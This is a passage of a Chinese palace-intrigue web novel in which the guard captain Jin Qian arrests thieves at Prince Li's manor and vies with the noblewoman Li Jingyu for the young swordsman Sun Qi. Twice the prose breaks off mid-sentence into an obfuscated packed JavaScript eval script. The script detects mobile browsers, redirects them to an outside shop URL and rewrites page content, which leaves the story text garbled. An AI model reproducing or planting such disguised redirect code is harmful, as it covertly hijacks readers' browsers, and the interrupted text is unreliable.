周文霖微笑道:“简单,我只要你派金骞过来。” 周无涯挑眉,“金骞乃御前侍卫,你胡闹还要带上人家?你觉得他会有闲工夫陪你?没一刀劈死你就不错了。” 周文霖呵呵笑道:“有没有工夫陪还不是你一句话的事?毕竟您老是谁?哈哈……所以帮不帮?我认真的,还有人等着我呢。” 周无涯不耐看他,“你要帮谁?” “一个大孝子。”周文霖动动胳膊,“我可不只是为了帮人,我要借金骞的权力整治一下这帮人的风气。” 周无涯轻笑道:“你?帮李家整顿风气?好大的口气,不自量力。” 周文霖无奈落败,“好吧。君子一诺千金,我是看在这个大孝子的份上才借用私权的。” 周无涯表情淡然道:“光这一个理由,怕是不够劝我。” “是是是,周宰相哪儿会这么容易出面呢?”周文霖早有准备,“你想不想知道李南的真面目?这绝对是个好时机。” 周无涯捋开衣袖,“一个王室远亲有什么好了解的,无非就那点野心破事。李南没有兵临城下的胆量,又没有计谋头脑,何必白花力气去调查他?不是贪了就是赃了,查出来你能如何?王上且是睁一只眼闭一只眼,何况是我们?” “行,那我不说这个。”周文霖折扇抵住下巴,“朝廷兵马如何?” “强盛。”周无涯言简意赅。 周文霖悠悠道:“不。我是说,倘若我用这一百五十号人作为条件跟金骞交换,他肯定会答应来的。” 周无涯蹙眉不语,似乎没猜出他话中之意。 周文霖继而道:“三年前,王上曾说过要攻打邻国雪丘,然今日迟迟没有出兵,难道不是在等最适合的人吗?” 九州并非商阙一朝独大,还有一个实力相当的雪丘国,打过去需要翻山越岭,跨过汹涌长河,路途遥远地势险峻。 朝中没几个将军敢自请一战,怂恿同党文官上书,费尽纸笔压下王上派人攻打雪丘的意念,而他们自己借着少时驻守边疆的光荣,窝在家里吃老本,不肯出兵。 所以王上需要新的血液来继承商阙最强盛的兵力,以攻打雪丘。 周文霖:“御前侍卫长金骞向来奉旨行事,若将此意告知于他,他定会自掏腰包过来。” 周无涯:“如果这一百五十个人中没有金骞要找的人,你当如何?” “那也得看了才知道有没有。”周文霖温温一笑,“天下才雄如过江之鲫,说不定这一百五十个人里,刚好会出这么一位猛将,毕竟天意往往让人无法掌控。” 周无涯不语,拂袖起身,将要离去时,再次偏头看他,“周文霖,是本官小瞧你了。” 从小到大,周文霖两耳不闻窗外事,一心也不读圣贤书。可生在权贵世家中,哪有完全的清白之身?既然撇不掉,那便扎入这烂泥里摸爬滚打。届时真遇上事,也能靠情报机灵应付。 如今用这等手段说服兄长,对周文霖无疑是好事一桩。他客气拱手,“哪里哪里,文霖只是突然开窍了。” 周无涯:“我只帮你这次,下不为例。以后朝廷的事不要多管,这不是你该管的。” 周文霖颔首应了,随即目送他离开,“好的哥,你慢走。” 次日清早,孙祈起床穿衣洗漱完,去厨房用早膳。阿婆大娘比昨天客气了,在他碗里多加了一个鸡蛋。虽然觉得有点莫名其妙,孙祈还是说了声谢谢。 还剩两日,孙祈不敢松懈,在后院无人的角落练了完整的拳法,拖着满是汗水的身体去浴房洗了个澡。 回舍路上,孙祈还没进门,忽然后方传来一道铿锵有力的低喝声:“御前侍卫奉命行事,前来缉拿犯人。识相的,自己滚出来!” 青年一身赤红官袍,黑帽长靴,腰间佩刀黑金鞘,身材高瘦却有劲儿,气场眼神逼人阴冷。他身后跟着一众黑衣侍卫,阵仗浩荡强势,不容抵挡,将客舍出入口围得水泄不通,秩序井然。 为首的青年淡淡举起一块金色令牌,双目扫过一排排从客舍出来的众武士,“在下金骞,无意叨扰各位武士。我只问,谁是杨立?” 所有人都没反应过来出了何事,看他满脸戾气不好惹,又身穿锦衣官服,根本不敢当面交头接耳,期盼这个叫杨立的人能自己站出来。可是等了半日,不见有人出来。 一个胖胖圆肚、锦衣华服的中年男人不疾不徐赶到红袍官服的青年身边,“金骞,你确定那贼人在这里?” 金骞朝他微一颔首,算是行礼,“李南王爷,昨日您李府收人之时,刚好有我们的人路过。只是距离过远,不敢确定那人就是惯犯,这才回去好好彻查了一日,确定惯犯杨立就在此处。王爷,王上已经同意我们为贵府护卫,那么这一百五十名武士就由我们御前侍卫查清惩处,以免贵府混进了不干净的东西。您觉得呢?” 李王爷脸上横肉微颤,大手一挥,“好!既然是金骞大人好心护我李府周全,我岂有拒绝之理?这一百五十个人,你们随便查!” 金骞淡淡一笑,“王爷,您花这么多心思办一场比武会,就是为了招贵千金的贴身护卫?恕小的直言,江湖侠士虽有无数能人异士,但衷心程度深浅不一,不比王宫里的侍卫。您何不向王上请求要人?” 李王爷:“本王就是想找个能人异士,这才花上重金广宣招人。金骞大人说的,本王不是没有考虑过。只是本王不信,府内八百护卫,会镇压不了外来的江湖乱贼。” “那看来,好像是我们有点打扰了。”金骞嘴角扯出一抹笑,“不过贵府有我们要抓的人,不算完全打扰。王爷以为呢?” 李王爷呵呵笑道:“那是自然。既然王上已允,金骞大人奉旨行事便是,只要不闯不该闯的地方就行。” 金骞这才恭恭敬敬抱拳行礼,“李王爷大义。” 得知是查罪犯,大家不敢轻举妄动,听从御前侍卫的命令挨个站好。 孙祈迈进门槛的前脚默默退了出来,刚一个转身,前方的金骞朝他的方向勾了勾手指。他愣了愣,只得听命上前。 金骞大步流星走来,周围人看得瑟瑟发抖,就连一旁观望的周文霖都不知怎么回事。孙祈低头站正没有乱动,只感一袭凉风从身侧掠过。不料,金骞竟是越过了他,径直走到后面的一间客舍里,把藏在门后的人揪了出来。 正是孙祈那位话多的舍友。 金骞拿着画像与他对比了下,果断挥手,最近的黑衣侍卫立即上前把人押住,在其身上搜刮出了一些钱财。 金骞扬眉,“假名进府偷盗,真是好胆量啊,杨立。偷了谁的?” 杨立支支吾吾,不停看向孙祈,哭求道:“大人,小的再也不敢了!您饶了我吧大人,再给我一个改过自新的机会——啊!!!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322097|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一声惨叫冲荡院内的死寂,只见金骞握着人的手腕往后掰去,将其手臂原来的体态掰得有些扭曲了。离得近的,可以听到清晰的骨折声。 似碰到了脏物,金骞嫌弃地松开,“押走,旧账新账一起算。” 侍卫:“是!” 金骞不动声色走到孙祈面前,摊开手掌,亮出从杨立那儿收来的铜钱,“丢了多少自己拿。少一枚打脸,多一枚剁手。” 不远处,周文霖只盼孙祈不要多拿,这属于藐视人家的权威,下场最惨,弄不好还会被睚眦必报的金骞治一个偷盗罪。 本来不会发生这一幕,偏偏他没来得及说孙祈就是那个大孝子,金骞便带人闯进来了。 失策,真是失策。 万幸的是,孙祈只拿了昨日周文霖给的路费,没有多拿一枚。金骞说是那么说,却没有真去数剩余的铜钱,直接交给了手下。他叫了十来个侍卫,带上画像,在一百多人中慢慢找,看到和画像相似的立马揪出来确认身份,确认无误即刻带走。 李王爷宽慰道:“诸位也知这里是李王府,不容奸佞贼子。金骞大人为确保王府安全,不得不做此排查。请诸位放心,此举只是为了抓贼,清白之人不会有任何事,照样在两日后参与比武会。” 不想查也得查,大家都听到金骞是奉旨行事,有异议也得吞进肚子里。 这一查才知,二十多幅画像有十多个人确认身份落网,不免引人唏嘘。李王爷面上波澜不惊,好似早料到这一百多人中会有罪犯。待金骞一一押走,他前去言谢道:“那这次的比武会就交给金骞大人了。” 金骞颔首,“李王爷客气了,这是应该的。” 一百多人不可能全是罪犯,因此侍卫们用画像对比抓人审问押走,这事也就这么过去了,毕竟金骞来的本意并不是抓贼。 金骞一来,李府的护卫一半站着本府人,一半站着御前侍卫,两两干瞪眼,似乎谁也不服谁。 可是不服也得服。御前侍卫不过是王上的一条狗,但金骞不只是狗,还是金家现任家主,家里有矿,有权有势,王宫侍卫月俸不够发,便从他家借款拨发,是王上的一大续命药。他这么猖狂,不单是有王上器重,更因为殷实家底富可敌国,胜过大多贵族。 所以,他是一条坐拥金山、爱咬人的疯狗,把文武百官都咬了个遍,包括宰相周无涯。 对于那些不肯出兵的老将,金骞嗤之以鼻,曾骂道:“一群老不死的还想当千年王八享长命福?等攻打雪丘的新将现世,统统把这些王八脑袋砍下来喂狗。” 等人群散去,周文霖赶紧把这位请来的爷带到小黑屋里喝茶。 金骞无情挪开茶杯,“什么劣茶,不喝,喝了折寿。” “啧,真难伺候,爱喝不喝,不喝拉倒。”周文霖自己一口闷了,开始说正事,“刚刚那个被你威胁的小孩就是我说的大孝子。” 金骞淡淡抬眼,“看出来了,如何呢?” 周文霖:“你觉得他怎么样?有没有潜力进你部下?” 金骞:“你当我这里是收留所?什么猫猫狗狗都要?” 周文霖噎住,“我看他为人老实,看身段应该功夫不错,听说还有师父。” 金骞:“我也有师父。” 周文霖忍无可忍,“你不跟人作对就不快活了是吗?我叫你来又不是只为了安排他。这一百多个人,我就不信没有你要找的人。” 金骞眯眼,“没有你当如何?” “……”周文霖觉得这话好像在哪里听过。明明是句简单的问话,他却觉得瑟瑟发抖,“你在宫里闲着也是闲着,不如出来逛一逛,说不定还能顺便抱个美人归。” 金骞:“嗯,你也老大不小了。” “……金疯狗,你别太得寸进尺了!”周文霖拍案而起,“我好心给你情报还反咬一口,你别以为你是金家家主我就——” 黑暗中一抹银光划过眼底,周文霖微微一怔,老实坐下,心平气和道:“都是文化人,吵架就吵架,你拔刀干什么?” 金骞收回剑鞘,把剑放在面前桌上,“谁跟你是文化人?这么大一把剑看不到?” 周文霖真要跪下来求这个祖宗了,气愤愤道:“你就说你看不看,这些江湖武士和兵家子弟不一样,要是有个懂兵法的,绝对能胜任攻打雪丘的将领之位。” 金骞点点头,叹了口气道:“堂堂周家少爷居然肯屈身来做守卫,传了出去,恐怕就是商阙第一奇闻了。我真想看看你哥会是什么表情。” 周文霖提高警惕,“我警告你,别乱来。” 金骞缓缓摊手,“没兴趣。” 他方才没有反问,周文霖一下反应过来,“你是答应找了?” 金骞收刀起身,“不然?路费这么贵,不找岂不白来一趟?走了,大少爷。” “慢着。”周文霖叫住他,“真是王上派你来的?” 金骞回身,“有你哥推波助澜,还怕王上不答应?再者,我这么大一个活人过来,王上会不知道?当然是奉旨行事了。” 周文霖盯着他,微笑道:“行,辛苦你。” “说什么风凉话,不如给钱痛快。”金骞长腿一迈,关门走了。 周文霖笑而不语,眼神平静如水。 49. 长相思(拾) 来李府的第一日就闹事,客舍的江湖武士们安分许多,不会在夜间到处乱走。因为一出去,会被御前侍卫当作罪犯一样,走到哪儿跟到哪儿,习武也要跟着,有的还会用笔记录。 大多数人宁愿关在屋里不出来,或是去外面逍遥快活,不在李府住了。 出府也不是那么好出的。防止有人偷跑,侍卫会仔细记下出入人员的姓名,去何方做甚、几时出去几时回来,写得一清二楚,对搬出府的人格外看守。些许江湖武士苦叫连天,碍于金骞本人在府内,他们不敢当众埋怨,只能默默做个忍者。 孙祈无所感觉,打算今日热热身,谁知之前的周护卫找到自己说:“我问过了,可以给你一份差事,就是有点累。好处是不用站守,可以随意进出。” “行。”孙祈迟疑了下,“是李王爷的意思?” “这么点事怎么可能劳驾他一个王爷。”周文霖淡笑道,“自然是金骞大人的意思。” 孙祈沉默了。 他亲眼见过了这位大人的手段,确实让人敬而远之、望人生畏。能得他口头的命令,想必不会有什么问题。 孙祈毅然答应了,当天开始换上侍卫的衣服来回跑,不是买这个就是买那个,全是金骞下的命令,差点没累死在地。 周文霖看不下去了,找到金骞质问:“你怎么老叫人家买东西,跑进来跑出去的不累啊?当人家是狗?” 金骞:“你不是叫我来看人?那就从他先开始。如果让我发现他手脚不干净,那就别怪我不客气。凡是偷盗酗酒好色等恶习,我金骞一个不要。你以为,这万人之上的位子那么好坐?我会白白把举荐的资格送给别人?” 王上信任他,这就是他说话的底气。 周文霖无话反驳。金骞除了脾气不好,爱点小财以外,美人美酒偷盗样样不占,如今身坐御前侍卫长之位,深得王上重任,确有万人之上的资本。 周文霖:“明日是他比武,你想好他输赢的结果了吗?” 金骞:“我已派人过去调查,确认他家里只有一个母亲,还有一位江湖师父。不论他是输是赢,都得留下来为我金骞办事,至少三个月。当然,前提是——干净。” 周文霖怔然,“三个月?嘶,也不是很久……月俸多少?” 金骞扬眉,“输了的人还想有俸禄?包吃包住就不错了。” 周文霖愤愤不平,“你怎么不去抢?” 金骞云淡风轻道:“强抢民男犯法。” 干这活儿虽然有点累,但手里拿的钱也多,孙祈丝毫不敢掉以轻心,用布把钱包了一层又一层,再用绳套在腰上,揣到怀里到处奔波。时间一久,腹部可见压痕印子。 来交代的哥们说一天二十文,以后进了王宫包吃包住就没钱拿了。孙祈问要做多久,他还要回家。哥们说不知道,叫他少打听,被金骞大人知道了,后果很严重。 这位金骞大人性情着实古怪。孙祈没有想太多,把每次剩下来的钱递给收账的侍卫,全部对好账单才能走。 两天下来,孙祈跑了几十单,前院的家丁护卫都认识他了,一时议论喋喋。 “诶,我听说,金骞大人新收的那个小伙子本是准备比武参选小姐的贴身护卫的,结果半路被人劫走,你说这算什么事?”花园里,一个绿衣丫鬟在给鲜花除杂草。 另一个红衣丫鬟道:“金骞大人好像没有剥夺他比试的资格,还能比的,你放心好了。” “可两天过去,也没见他在武台上比啊。” “那就是今天比了。你要去看?” “好奇啊,后厨的大娘都押他呢。感觉他在别人那里还挺讨喜,连金骞大人都为他开后门……” 就在绿衣丫鬟说话时,红衣丫鬟忽地严肃,不再言语,低头躬身面朝某个方向不动。绿衣丫鬟顺着望去,赶忙收敛闭嘴,把头低得更低了。 “你们在说谁?”问话的姑娘约莫十六七岁,头戴月白玉饰,身穿素色蝶袖长裙,隐约能见裙下的绣花鞋。她面色清冷,目光淡淡,如夜天悬挂在云纱后的月光一样,冰冷清雅。 两个丫鬟齐齐行礼,“李千金。” 李千金面无表情,“我问你们刚才在说谁。” 红衣丫鬟壮胆道:“回千金,我们方才在说金骞大人刚收的手下,也是来李府比试的江湖武士。” 李千金蹙眉,“叫什么名字。” 红衣丫鬟:“回千金,此人名叫孙祈,祈福的祈。” “祈福的祈……”李千金似没想到丫鬟会这么说,轻轻喃了一遍。 旁边的中年女人微笑俯首,打断她的思绪,“千金,该去书房了。” 李千金回身,淡淡回应。 作为世家千金,李惊玉自小培养琴棋书画,十二岁就有了自己的书房,比卧房还大一圈,里面挂满了墨画彩画。竖琴古琴笛子长箫,如同展品排列而放,放在架子上,有的落了不少灰,都是贴身丫头飞雁在打理。 李阿娘送李惊玉到了书房,守了半个时辰后离开。 不久,一个头扎双环髻的黄裙丫头推门而入,把门窗关实了,面向椅子上的李惊玉,“小姐?” 李惊玉:“来了。” 飞雁过去,把怀里藏着的空本子摆到案上,“小姐,今天你要写什么故事?之前你写的我拿到厂里印,厂长说是卖了一万多本,挺受欢迎的。京都大商那边酒楼茶馆都在戏说,引来不少看客争论,说是一个闺阁小姐怎么能去学兵书云云。吵得可热闹。” 她说得眉飞色舞,李惊玉的嘴角不禁微扬,继续听她说道:“我看这些人就是井底之蛙,跟老爷那种人没什么区别,都觉得世家小姐该嫁个金贵的儿郎。凭什么凭什么?我家小姐可是智比诸葛,怎会屈服做一个太子妃?” 飞雁跺脚以表抗议,惹得李惊玉轻笑一声,脸上的冷漠淡愁顿时烟消云散。 见此,飞雁跟着高兴起来,“小姐,你想好要写什么了吗?你的笔名已经被诸多文人墨客记住了,都在催你下一本呢!” “你觉得,我还能写什么?”李惊玉单手支颚,眉眼含笑看她。 飞雁好好思忖道:“小姐写了很多故事,有江湖武林、灵异神怪和上一本的文女问兵……小姐,最后一本争议很大,甚至有人在问真人是谁了,您确定还要写下去?” 李惊玉毫不在意,笔落白纸道:“我看自己快要出嫁了。在此之前,多写两本顺顺心,有何不可?” 飞雁重重点头,“当然可以!小姐写多少我发多少!” 话毕,她悄悄走到门后,偷听外边的动静,问:“小姐,您还练琴吗?我怕老爷会派人过来偷听。” 李惊玉:“听就听吧。我不练,他还能杀了我不成?” 飞雁:“好,听小姐的。” 李惊玉向来不喜有人在书房进进出出,老爷派来的人再怎么打探情况也不好进去,只敢在外面偷听,然后向老爷汇报情况。 这一整个白日,她们只有用膳时分出门,多半待在书房里不动,偶尔开门吹风,弹琴作乐。玩累了便锁门,在房内安睡。直至傍晚,一个刚睡醒,一个醒了在看书。 飞雁睁开眼,从长椅上下来,声音含着几分惺忪的软,“小姐,你还在看兵书?时辰已经到了,要不要出去走走?” 李惊玉脸上有了淡淡倦意,她合书放了回去,“也好。” 书房左方是卧房,右方的园子通往全府内外,但是弯弯绕绕难得走。 李惊玉喜静,爱往竹园靠。这几日因为比试的事情跟李王爷闹了脾气,没有来。正好今日心情好,来散散步。 傍晚的竹园较显凄凉,尤其是庇荫之下,不免透出瘆人的凉意,让人想起有关竹林的灵异神怪之闻。李惊玉向来不信这些东西,提灯轻步,走过的地方掀起裙角,带起几片新落的竹叶。飞雁跟她跟惯了,从原来的害怕到如今的淡定,过程花了不少工夫。 风起叶摇,沙沙声在寂静的晚色中格外清晰。不远处,有破风争鸣的声音传来。 “小姐,有声音。”飞雁往李惊玉身边靠了靠。 李惊玉站立不动,侧耳细听,发现剑鸣像极书上所述的某种声音,拉着飞雁悄悄靠近,躲在竹后偷窥。 前方林影绰绰,有人单手持剑,在空中划出不同形状的银光,剑鸣随着出剑的方式速度发出不同的声音,深浅有度,嗡嗡哗哗。 李惊玉紧紧盯着那把灵活游动的剑,心中倏然升起一阵雀跃。 书上说的剑若游龙,想必就是如此了。 她看得出神,似要把剑招盯出火花来。 突然,一个低沉的声音在后方响起:“李小姐喜欢看剑?” 飞雁吓了一跳,下意识挡在李惊玉身前,紧紧盯着来人,“金、金大人,怎么是您……” 金骞抱剑道:“我来看看我的新手下,不行吗?倒是两位在此鬼鬼祟祟,很难不让人怀疑想要做什么。” 飞雁皱眉昂首,“金大人,您说这话过分了吧?我家小姐好歹是李府千金,在自家散步有什么错?” 金骞:“什么时候,一个丫鬟也有资格教训上位者了?” 他平淡的语气充斥着无尽压迫与戾气,飞雁再护主,不敢与之强碰,届时被安个以下犯上的罪名,那便插翅难逃了。 李惊玉自然知道不能让飞雁以身犯险,把她拉到自己身后,平静道:“是我教导无方,还请金骞大人恕罪。您说的对,我确实因剑鸣而来,但只想看看书上所说是否属实。” “什么书还会提到剑?”金骞抓住字眼,“原来闺阁千金李惊玉竟对兵器感兴趣,实在难得。” 飞雁偷偷攥紧了李惊玉的衣袖,李惊玉暗暗拍了拍她,继而回道:“只是平日喜欢看点杂书罢了,不劳金侍卫长挂心。” 金骞不语,目光转向林中的少年,轻笑一声:“这般苦心修习,还真是让人期待明日的表现呐。” 说罢,他头也不回离去。 飞雁愤愤在原地跺脚,“这金骞简直欺人太甚。小姐,咱们不要理他。” 李惊玉本没放在心上,转身继续观望。那人耍剑走步的身姿随着时间推移慢慢有停歇之意,她按捺不住心情,穿过竹林走了过去,到嘴的话还未说出口,那柄剑刚好调转方向刺往她的方向。 “小姐!”飞雁大惊,立即冲来。 这声呵斥吓得孙祈心头一震,来不及扭转剑锋,直直劈了下去。 一步之遥,只差一步。 孙祈猛地抬头,剑锋前方站着一名与他年龄相仿的少女,月白纱裙略显消瘦,头上唯有两根玉饰点缀。 来不及看清面貌,他迅速收剑,低头赔罪,“不知姑娘突然出现,孙祈多有得罪。” “孙……祈……”李惊玉低声复念。 飞雁抱紧李惊玉的胳膊往后拉,斥责道:“大胆刁民,竟敢用剑指着我家——” “飞雁,不必。”李惊玉说道。 “小姐?”飞雁惊愕回头,看她似有定夺,不再多言,站到后面守着她的安危。 孙祈不知自己练剑怎么招来了贵府的小姐,又赔罪了一次,不等人发话愣是不走。 看他低头固执的模样,李惊玉不禁多看了几眼,从头到脚,然后是脸。 这名少年生得不如世家子弟那般姣好肤白,浑身气势与“嚣张”二字相反,乖戾至极,额角有道疤痕,是走在街上都要被千金小姐翻白眼的外貌。但他五官硬朗英挺,从骨子里透着一股坚毅野韧,就像生长在草原的骏马。 她看得出神,飞雁忍不住拉了拉她。 李惊玉回神,想起金骞刚才说的,问:“明日是你比武?” 孙祈:“是。” 李惊玉:“你因何而来?为了选上贴身侍卫?” 这让孙祈陷入了沉默。他不好当着人家的面说“不是”,又怕诺一字“是”而辜负人家,因而一言不发。 看出他的犹豫,李惊玉换了另一个理由,“是因为钱?” 她说这话没有丝毫情感,好似只在阐述事实。 这下孙祈更不敢说话了,面上闪过一丝尴尬,仍旧低头不语。 李惊玉见此,声音冷下几分,“抬起头来,看着我。” 孙祈依言照做,缓缓抬头面对,一点一点看清她的模样。 三言两语之交,李惊玉便看出他是不善言辞的,没有强迫他回答,问了自己最想问的,“你刚刚耍的是什么剑法?为何我在书上没见过?” 孙祈低眉认真道:“是我师父教给我的剑法。我自幼练习,已熟能生巧。刚刚是自行创式,没有固定招法。” 李惊玉没想到他谈起习武能如此自然流畅,问道:“你能自创剑法?” 孙祈沉思,“也不算,就是自己随便耍一耍。” 李惊玉若有所思,脑海闪过那对丫鬟的对话,道:“你是自愿入金骞部下的?” 孙祈点头,恢复寡言,一副老实模样。 李惊玉心里思量着,身旁却有轻轻嬉笑。飞雁掩面难忍,肩膀微颤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322098|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑中带苦。察觉两道视线,她镇定止住笑容,没有打岔,示意他俩继续。 孙祈不明所以,又不敢瞄人家表情,索性忽略视觉,洗耳恭听。 李惊玉脸色一凝,而后微笑道:“你有把握拿得第一吗?” 孙祈:“不敢。” 李惊玉沉吟,“有这个实力就不要谦让。你若能胜任这个职位,我会给你丰厚的报酬。” 孙祈连忙拱手,“谢姑娘好意。在下确实为钱而来,但未曾想过把自己的后半生搭进来,只是想挣点钱回家。” 李惊玉:“回家做什么?” 孙祈:“我娘在家里等我。” “原来如此……”李惊玉眯起眼睛,“做千金侍卫的利大于弊,你真要放弃?” 孙祈后退一步,“我野惯了,一直关在府中会不习惯,况且我不会侍奉千金……” 李惊玉微微一愣,笑道:“你觉得在这里是关押你的自由?” 孙祈自觉失言,正要道歉,李惊玉却道:“你说的不错,在这里会被束缚自由。但我不会,永远不会。” 飞雁比谁都了解小姐的情况,知道她这是在说给自己听,不由心生酸楚,抱紧小姐的手。 李惊玉:“你去金骞部下会吃很多苦,他克扣手下的月钱严重,你待在他那里只有坏处,没有好处。他能给的,我能给;他不能给的,我李惊玉照样能给你。” 孙祈听得一头乱,“李小姐误会了,我只是在金大人手下做两天,挣点钱就走,不会待多久。” 李惊玉扬眉,“金骞不会做好人的买卖,你上当了。如若不信,自去问他。” 孙祈半信半疑,不愿再多说,道谢完后匆匆走了,背影多少有些仓惶。 飞雁不大理解,“小姐,您为什么一定要找他?要是他拿不到第一呢?” 李惊玉:“比试只是一个形式。倘若我有看上的人,李南还会不答应吗。” 飞雁:“可他已归顺于金大人部下……” “不会。”李惊玉十分肯定,“御前侍卫选拔严格,就算有金骞这层关系,他也得在里面试任三月才能转正。刚刚他不是说自己不会待多久吗?到时必会想方设法离开。哪怕金骞有意留人,他大概不会答应,除非金骞愿意送大钱,只不过依他的德行,送钱是不可能的。” 飞雁:“所以小姐想用钱收下这个孙祈?您……为何非要收他?” 李惊玉:“直觉。飞雁,我觉得要是收下他,我们有很大的机会逃离这个地方,不再用日日进书房弹琴作画了。” 飞雁:“可是他说话很笨,除了一身蛮力,没有什么值得利用的地方。看他衣着打扮,家里应该挺贫困的。没钱没权,怎么帮小姐?” “钱权而已,我有。”李惊玉眼底隐有波动,“飞雁,你去查一查孙祈家在何处。顺便帮我送封信,快马加鞭送到。” 飞雁看不透小姐的心思,可能她在谋划一件大事,没有多问,应诺一声,随她回房准备洗漱安寝了。 翌日一早,孙祈来到武台旁边抽签,等侍卫念他名字的时候,刚好日头正盛。 还未上场,人群骚动纷纷,都往一个方向望去。 少女一身月白衣裙,旁有丫鬟打着遮阳伞,瞧架势气质,是李府的唯一千金没错了。她一来,全场氛围瞬息而变,两个侍卫忙去搬椅子倒茶水,另一边的金骞默默坐着不动,仿若与外界隔绝。 孙祈擦擦额角的虚汗,上台与对手面对面站着,在一声呵令之后,拔出未开刃的长剑刺去,拳脚剑法步步到位,运用自如。对手的实力与他相当,过起招来打得人心振奋,外人看得更是激情澎湃。 金骞躺下去的身子直了起来,看着武台的方向,话却是对旁人说的,“看来李小姐昨夜很满意孙祈啊。” 这话听着属实很不像话! 飞雁瞪大眼睛,撸起袖子准备骂回去,李惊玉及时制住,反对金骞道:“没有很满意,有劳金大人惦念。只是你这未入门的手下,怕是很快要跟你说再见了。” “哦?李小姐这是准备抢人?”金骞唇角微扬,“我很好奇,是什么缘由让李小姐非要选他。” 李惊玉:“我也很好奇,他身上有哪点值得金大人提拔。” “提拔?“金骞面上波澜不惊,内里却惊涛骇浪,“李小姐何处此言?” 李惊玉目视前方,“金大人从来不做无用功,不是吗?” 金骞沉默了。 李惊玉:“金大人,您实在眼拙了。孙祈一个乡下来的孩子,哪里懂得兵法?你知道培养一个备战的将军要多少年吗?你愿意等,王上不一定愿意。” 这女的竟敢妄议王上的心思,不要命了? 金骞轰然站起,跨步过去,阴沉的脸色转瞬即逝,弯唇道:“最近多方的酒楼茶馆总为一个话本女主人公学兵一事争论不休。金某原先很是不屑,如今见到真人,倒是无话可说、佩服得五体投地了。李小姐,话本写得开心吗?李南王爷知道了,一定会很失望吧。” 是啊,天底下怎么有那么巧的事,刚好让他看见李千金的笔迹和话本原稿的笔迹一模一样? 周围没有一个闲人,都是金骞手下的侍卫,他们听到这话跟当耳旁风一样,不为所动,显然是训练有素的。 李惊玉意外于金骞的心细敏感,但面对拆穿依旧不慌,正面回应道:“有争论就有机会,不是吗?” 反正藏不住了,不如坦白来得痛快。 这话像风一样吹过金骞的耳朵,他甚至疑惑了一刹,反应过来自己听到的不是虚话,沉声笑道:“闺阁出豪杰?金某第一次见,真是稀奇。” 李惊玉不理。 金骞继续道:“李小姐很有想法,金某懒得挡路。只是这刀还没露出锋芒,你怎么知道它行不行?不怕一片心血打水漂?” “刀为韧铁,耐打耐磨。柄不回头,不必忧忠,磨砺锋芒只是时间问题。”李惊玉看着他,“金大人,你给不了他想要的,我能。” 金骞:“他想要什么与我何干?我有必要完成他的心愿?” 李惊玉扬唇,“这就是你我的区别。你不会在一个出身卑贱且贫穷的少年身上花心思,但我会。” 金骞眼神有点兴奋,饶有趣味地打量她,被飞雁斥责也不收敛,静默半晌最后笑了,后退几步道:“既然李小姐这么有信心,那金某拭目以待。” “人,我不抢了。”金骞重回椅子躺着,眼含淡淡玩味,“能不能抢到手,全凭李小姐的本事。” 50. 长相思(拾壹) 孙祈与对方过了几十招,差点夺胜,浑身汗水走下武台。 周文霖观战半炷香,上前递帕又倒水,“孙祈,你打算在这儿留多久?没有半点成为李千金贴身侍卫的想法?” 孙祈摇头,“我只为挣钱。” 周文霖面上可惜,“孙祈,人这一辈子不只是为了挣钱,还有志向。” 闻言,孙祈愣在原地。 周文霖:“我听说了,除金大人看重你以外,李府千金也有意选你为贴身侍卫。两边各有好处,皆是名利双收,比挣钱强。你真的半点不动心?” 孙祈不作回应,半晌,大步远去。 周文霖朝不远处的金骞看了一眼,无奈摇头。 今天是比试的最后一天,当晚李府公布名次,孙祈只拿了第九,远远达不到贴身侍卫的水平,但其实只要李千金亲自指定,这事就成了。 李千金没看上第一,没有向老爷请求为贴身侍卫,送了银两打发走了。三日过去,江湖武士走的走散的散,即便没被选中也是开开心心揣着钱离开,无人对这次没有结果的比试有异议。 唯一有的可能就是金骞了。比试结束当天,他没有多留,带上人马直接回了大商,没有带走孙祈。飞雁难得夸他信守承诺。 走的还有无人在意的周文霖,他怕自己再不走,那金疯狗就回朝揭穿他做护卫的事情,败坏他的名声,玷污整个周家,然后煽风点火引同党攻击他的兄长。 金骞走了,孙祈杂役的职位自然没了,然他没有被驱逐出府,反倒多了一个扫地的职位。一人住在院子的偏房,安静自在,没事可以练练剑。 这是李千金的意思,她给的条件实在丰厚,工钱日结,一日两百,孙祈没有理由拒绝,答应再做半个月。 可是还不到半月,这些钱他就可以来回跑很多趟潇湘了,不用再愁路费饭钱不够,回家还能存着用两年,只要没有大病不灾折磨。 对于李千金,孙祈是心存感激的,所以当她光临寒舍的时候,他会外出买点水果糕点回来招待。日子一久,次数一多,李惊玉便不让他客气招待了,反倒自己耐心教他认字读书。 孙祈官话说得不好,每次李惊玉要纠正半天,效果才见微。兴致一来,又会问他兵法有关的东西,孙祈总答不上来。她开出了一个条件,说他背完一篇兵法就给他一百文,绝无戏言。 孙祈起先硬着头皮尝试,发现兵书上写的和他所修的剑法有很多不同,多以兵马长枪为例,其中提到自然之道,天地山川流水,都可以作为胜利的借力。 书终究是死板的文字,看久了未免枯燥。他一觉得心累,李惊玉便会用自己的话来阐述兵法,用了斗鸡互啄、蟋蟀相斗、草船借箭、绝地逢生作为代例,一下吸引了孙祈的注意。 